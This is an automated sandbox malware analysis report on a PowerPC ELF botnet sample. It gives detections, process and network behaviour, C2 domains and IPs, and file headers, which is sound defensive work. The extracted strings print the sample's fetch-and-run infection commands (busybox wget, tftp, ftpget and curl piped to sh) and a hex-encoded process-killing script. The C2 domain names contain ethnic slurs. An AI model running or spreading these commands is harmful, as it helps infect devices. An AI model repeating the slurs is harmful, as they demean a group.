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Linux Analysis Report
splppc.elf

Overview

General Information

Sample name:	splppc.elf
Analysis ID:	1543114
MD5:	4ec367cc9042a6922c87cdb3d3deba4c
SHA1:	ea3bd7df31c2bc1eb02ea2351ff7976894f6a7f3
SHA256:	239499d9e1661f89680d123b6bb61948214dd950b6803eb7ed1e3d28f90a8e60
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543114
Start date and time:	2024-10-27 09:14:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splppc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/100@4/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: splppc.elf

Runtime Messages

Command:	/tmp/splppc.elf
PID:	6266
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splppc.elf (PID: 6266, Parent: 6190, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/splppc.elf

splppc.elf New Fork (PID: 6268, Parent: 6266)

splppc.elf New Fork (PID: 6270, Parent: 6268)

splppc.elf New Fork (PID: 6274, Parent: 6268)

splppc.elf New Fork (PID: 6276, Parent: 6268)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: splppc.elf

ReversingLabs: Detection: 47%

Source: splppc.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 185.150.24.67 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.23:55114 -> 185.150.24.67:38241
Source: global traffic	TCP traffic: 192.168.2.23:49958 -> 45.156.86.24:38241

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 168.88.128.48
Source: unknown	TCP traffic detected without corresponding DNS query: 168.88.128.48
Source: unknown	TCP traffic detected without corresponding DNS query: 189.14.74.225
Source: unknown	TCP traffic detected without corresponding DNS query: 189.14.74.225
Source: unknown	TCP traffic detected without corresponding DNS query: 191.25.46.95
Source: unknown	TCP traffic detected without corresponding DNS query: 191.25.46.95
Source: unknown	TCP traffic detected without corresponding DNS query: 71.251.120.112
Source: unknown	TCP traffic detected without corresponding DNS query: 71.251.120.112
Source: unknown	TCP traffic detected without corresponding DNS query: 18.149.253.165
Source: unknown	TCP traffic detected without corresponding DNS query: 18.149.253.165
Source: unknown	TCP traffic detected without corresponding DNS query: 169.235.194.67
Source: unknown	TCP traffic detected without corresponding DNS query: 169.235.194.67
Source: unknown	TCP traffic detected without corresponding DNS query: 3.123.233.71
Source: unknown	TCP traffic detected without corresponding DNS query: 3.123.233.71
Source: unknown	TCP traffic detected without corresponding DNS query: 204.204.207.119
Source: unknown	TCP traffic detected without corresponding DNS query: 204.204.207.119
Source: unknown	TCP traffic detected without corresponding DNS query: 182.96.109.36
Source: unknown	TCP traffic detected without corresponding DNS query: 182.96.109.36
Source: unknown	TCP traffic detected without corresponding DNS query: 49.51.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 49.51.224.51
Source: unknown	TCP traffic detected without corresponding DNS query: 83.143.93.47
Source: unknown	TCP traffic detected without corresponding DNS query: 83.143.93.47
Source: unknown	TCP traffic detected without corresponding DNS query: 133.157.107.141
Source: unknown	TCP traffic detected without corresponding DNS query: 214.232.32.62
Source: unknown	TCP traffic detected without corresponding DNS query: 133.157.107.141
Source: unknown	TCP traffic detected without corresponding DNS query: 47.131.214.4
Source: unknown	TCP traffic detected without corresponding DNS query: 214.232.32.62
Source: unknown	TCP traffic detected without corresponding DNS query: 167.76.149.170
Source: unknown	TCP traffic detected without corresponding DNS query: 47.131.214.4
Source: unknown	TCP traffic detected without corresponding DNS query: 181.32.31.150
Source: unknown	TCP traffic detected without corresponding DNS query: 167.76.149.170
Source: unknown	TCP traffic detected without corresponding DNS query: 82.89.134.111
Source: unknown	TCP traffic detected without corresponding DNS query: 181.32.31.150
Source: unknown	TCP traffic detected without corresponding DNS query: 49.104.245.53
Source: unknown	TCP traffic detected without corresponding DNS query: 82.89.134.111
Source: unknown	TCP traffic detected without corresponding DNS query: 119.206.162.129
Source: unknown	TCP traffic detected without corresponding DNS query: 49.104.245.53
Source: unknown	TCP traffic detected without corresponding DNS query: 87.68.236.93
Source: unknown	TCP traffic detected without corresponding DNS query: 119.206.162.129
Source: unknown	TCP traffic detected without corresponding DNS query: 88.39.79.220
Source: unknown	TCP traffic detected without corresponding DNS query: 87.68.236.93
Source: unknown	TCP traffic detected without corresponding DNS query: 121.89.203.51
Source: unknown	TCP traffic detected without corresponding DNS query: 88.39.79.220
Source: unknown	TCP traffic detected without corresponding DNS query: 28.32.96.235
Source: unknown	TCP traffic detected without corresponding DNS query: 121.89.203.51
Source: unknown	TCP traffic detected without corresponding DNS query: 114.43.160.78
Source: unknown	TCP traffic detected without corresponding DNS query: 28.32.96.235
Source: unknown	TCP traffic detected without corresponding DNS query: 170.208.238.56
Source: unknown	TCP traffic detected without corresponding DNS query: 114.43.160.78

Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]

Source: splppc.elf	String found in binary or memory: http:///curl.sh
Source: splppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6287/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6287/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6298/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6298/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6286/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6286/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6288/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6288/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6302/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6302/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6346/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6346/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6303/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6303/cmdline	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6339/maps	Jump to behavior
Source: /tmp/splppc.elf (PID: 6274)	File opened: /proc/6339/cmdline	Jump to behavior

Source: splppc.elf, 6266.1.00005586cc488000.00005586cc538000.rw-.sdmp, splppc.elf, 6270.1.00005586cc488000.00005586cc538000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: splppc.elf, 6266.1.00005586cc488000.00005586cc538000.rw-.sdmp, splppc.elf, 6270.1.00005586cc488000.00005586cc538000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: splppc.elf, 6266.1.00007ffea8b1e000.00007ffea8b3f000.rw-.sdmp, splppc.elf, 6270.1.00007ffea8b1e000.00007ffea8b3f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: splppc.elf, 6266.1.00007ffea8b1e000.00007ffea8b3f000.rw-.sdmp, splppc.elf, 6270.1.00007ffea8b1e000.00007ffea8b3f000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/splppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splppc.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

IP	Domain	Country	ASN	ASN Name	Malicious
77.188.107.118	unknown	Germany	6805	TDDE-ASN1DE	false
199.184.93.131	unknown	United States	22709	NSTELCOUS	false
70.161.235.164	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
201.74.180.220	unknown	Brazil	28573	CLAROSABR	false
174.198.124.137	unknown	United States	22394	CELLCOUS	false
137.229.73.237	unknown	United States	7774	ALASKAUS	false
32.62.53.103	unknown	United States	2687	ATGS-MMD-ASUS	false
155.244.235.144	unknown	United States	668	DNIC-AS-00668US	false
205.187.240.5	unknown	United States	7029	WINDSTREAMUS	false
188.209.98.177	unknown	Romania	6910	DIALTELECOMRO	false
150.168.61.154	unknown	United States	26438	MONROE-COMMUNITY-COLLEGEUS	false
8.49.147.94	unknown	United States	3356	LEVEL3US	false
120.203.162.3	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
48.166.58.223	unknown	United States	2686	ATGS-MMD-ASUS	false
188.152.42.90	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
207.22.31.74	unknown	United States	14265	US-TELEPACIFICUS	false
61.250.189.127	unknown	Korea Republic of	38661	HCLC-AS-KRpurplestonesKR	false
192.46.83.70	unknown	United States	25951	HPESUS	false
218.49.38.90	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
84.137.230.253	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
38.9.6.190	unknown	United States	174	COGENT-174US	false
26.39.248.56	unknown	United States	7922	COMCAST-7922US	false
156.124.39.87	unknown	United States	393504	XNSTGCA	false
6.67.229.37	unknown	United States	3356	LEVEL3US	false
176.242.190.163	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
71.215.212.226	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
134.222.54.52	unknown	Netherlands	286	KPNNL	false
66.171.26.175	unknown	United States	33339	NEMONT-CELLULARUS	false
222.198.197.120	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
18.115.29.227	unknown	United States	3	MIT-GATEWAYSUS	false
35.32.155.36	unknown	United States	36375	UMICH-AS-5US	false
98.253.245.234	unknown	United States	7922	COMCAST-7922US	false
198.228.83.245	unknown	United States	701	UUNETUS	false
183.206.20.146	unknown	China	56046	CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN	false
165.12.57.79	unknown	Australia	9509	DESE-AS-APDepartmentofEducationSkillsandEmploymentAU	false
3.92.205.203	unknown	United States	14618	AMAZON-AESUS	false
45.39.10.56	unknown	United States	18779	EGIHOSTINGUS	false
122.169.201.134	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
116.96.80.22	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
87.157.77.151	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
116.96.80.22	JPfqar1rSf	Get hash	malicious	Mirai	Browse
18.115.29.227	C2Vr0P7qa4.elf	Get hash	malicious	Mirai	Browse
35.32.155.36	huAogaUK7o.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
burnthe.libre	arm7.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	splx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklarm.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nklmips.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
yellowchink.pirate	jklx86.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	jklppc.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	45.156.86.24
chinklabs.dyn	nabmpsl.elf	Get hash	malicious	Unknown	Browse	185.150.24.67
chinklabs.dyn	jklarm.elf	Get hash	malicious	Unknown	Browse	185.150.24.67

Name	IP	Active	Malicious	Reputation
yellowchink.pirate	45.156.86.24	true	true	unknown
chinklabs.dyn	185.150.24.67	true	true	unknown
burnthe.libre	45.156.86.24	true	true	unknown
burnthe.libre. [malformed]	unknown	unknown	true	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splppc.elf	false		unknown
http:///curl.sh	splppc.elf	false		unknown

Process:	/tmp/splppc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	3.0732557553333306
Encrypted:	false
SSDEEP:	6:MHtDFuoY/V7DF0to/VdVN/VfKoO/VNfiY/VH:MtguGV8l
MD5:	539C8E1A17A393C702AE26CCFDF79A25
SHA1:	163C955D388AC72CAFB6BDA44ACEA5FF3491FDFA
SHA-256:	32562D00A40E7B8D6FD2E30413856899D11C5EC30B72F03D12B047854A1994C2
SHA-512:	F0932D847F49B47769195857A76549C3F7819779A741067887741049559A1625BD03A43C5B4E792459466B5B311C40A94827783E3CBA1D3DD2FDA2A85A2EA63F
Malicious:	false
Reputation:	low
Preview:	10000000-1000f000 r-xp 00000000 fd:00 531606 /tmp/..1001e000-1001f000 rw-p 0000e000 fd:00 531606 /tmp/..1001f000-10021000 rw-p 00000000 00:00 0 .10021000-10022000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.30995427670746
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splppc.elf
File size:	61'504 bytes
MD5:	4ec367cc9042a6922c87cdb3d3deba4c
SHA1:	ea3bd7df31c2bc1eb02ea2351ff7976894f6a7f3
SHA256:	239499d9e1661f89680d123b6bb61948214dd950b6803eb7ed1e3d28f90a8e60
SHA512:	8362f95e020ca0bde9b98ad7b9bc3da295fe14b5522edb5e5ae27ad507ea64b165596ea123f39e5e79104f4ae8edf105fcb1af54613e4397252e06226dcd354a
SSDEEP:	768:A1N9i0m1CRlc/RmzDtHO8D87xY31lwuzGXemhvFhIytz3vf8oyddFA75j7nI8sR9:SMbKauV87O7wuSjIIfEoyfFe5fnI8sR9
TLSH:	A9534C4232284E17C5665670183F1BF057BFAA6021E4B3C9B84FAB6F8A71E375046F9D
File Content Preview:	.ELF...........................4...8.....4. ...(.......................\...\...............`...`...`....... ........dt.Q.............................!..\|......$H...H..a...$8!. \|...N.. .!..\|.......?..........T..../...@..\?......\|.+../...A..$8...}).....\|N..

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x100001f0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	60984
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xdab8	0x0	0x6	AX	4
.fini	PROGBITS	0x1000db70	0xdb70	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000db90	0xdb90	0x10cc	0x0	0x2	A	4
.ctors	PROGBITS	0x1001ec60	0xec60	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001ec68	0xec68	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1001ec70	0xec70	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1001ec78	0xec78	0x148	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001edc0	0xedc0	0x28	0x0	0x3	WA	4
.sbss	NOBITS	0x1001ede8	0xede8	0x6c	0x0	0x3	WA	4
.bss	NOBITS	0x1001ee54	0xede8	0x112c	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xede8	0x50	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xec5c	0xec5c	6.3535	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xec60	0x1001ec60	0x1001ec60	0x188	0x1320	0.8914	0x6	RW	0x10000	.ctors .dtors .jcr .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 09:15:24.463006973 CET	192.168.2.23	202.61.197.122	0x287c	Standard query (0)	chinklabs.dyn	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:15:26.104195118 CET	192.168.2.23	202.61.197.122	0x5a9e	Standard query (0)	burnthe.libre	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:15:37.509473085 CET	192.168.2.23	51.158.108.203	0xe58a	Standard query (0)	yellowchink.pirate	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:15:49.370357990 CET	192.168.2.23	152.53.15.127	0x3206	Standard query (0)	burnthe.libre. [malformed]	256	437	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 09:15:24.473860025 CET	202.61.197.122	192.168.2.23	0x287c	No error (0)	chinklabs.dyn		185.150.24.67	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:15:26.114737988 CET	202.61.197.122	192.168.2.23	0x5a9e	No error (0)	burnthe.libre		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:15:37.525916100 CET	51.158.108.203	192.168.2.23	0xe58a	No error (0)	yellowchink.pirate		45.156.86.24	A (IP address)	IN (0x0001)	false
Oct 27, 2024 09:15:49.381263018 CET	152.53.15.127	192.168.2.23	0x3206	Format error (1)	burnthe.libre. [malformed]	none	none	256	437	false

Start time (UTC):	08:15:22
Start date (UTC):	27/10/2024
Path:	/tmp/splppc.elf
Arguments:	/tmp/splppc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report splppc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0o1JmB (deleted)

/tmp/qemu-open.15MTSB (deleted)

/tmp/qemu-open.16LShC (deleted)

/tmp/qemu-open.1XUYLA (deleted)

/tmp/qemu-open.1tiTPA (deleted)

/tmp/qemu-open.4HZxMB (deleted)

/tmp/qemu-open.4duh9B (deleted)

/tmp/qemu-open.5qV3lA (deleted)

/tmp/qemu-open.6m2aUC (deleted)

/tmp/qemu-open.7XPAyD (deleted)

/tmp/qemu-open.89wzyD (deleted)

/tmp/qemu-open.8L1SIB (deleted)

/tmp/qemu-open.8ueOYA (deleted)

/tmp/qemu-open.8yjNDz (deleted)

/tmp/qemu-open.99LTUC (deleted)

/tmp/qemu-open.9KV1BC (deleted)

/tmp/qemu-open.9NBnjD (deleted)

/tmp/qemu-open.9rPGcB (deleted)

/tmp/qemu-open.B7XoiA (deleted)

/tmp/qemu-open.BGGeED (deleted)

/tmp/qemu-open.BMrVMD (deleted)

/tmp/qemu-open.CFIbVB (deleted)

/tmp/qemu-open.DC0nCz (deleted)

/tmp/qemu-open.E5gT9C (deleted)

/tmp/qemu-open.EPbZuB (deleted)

/tmp/qemu-open.EVcQlC (deleted)

/tmp/qemu-open.G6M1Ez (deleted)

/tmp/qemu-open.GugbPA (deleted)

/tmp/qemu-open.HNELFD (deleted)

/tmp/qemu-open.HfRpsC (deleted)

/tmp/qemu-open.I5Wm4C (deleted)

/tmp/qemu-open.IN9CWD (deleted)

/tmp/qemu-open.Is1TEA (deleted)

/tmp/qemu-open.JrBhbB (deleted)

Linux Analysis Report
splppc.elf

Start time (UTC):	08:15:23
Start date (UTC):	27/10/2024
Path:	/tmp/splppc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

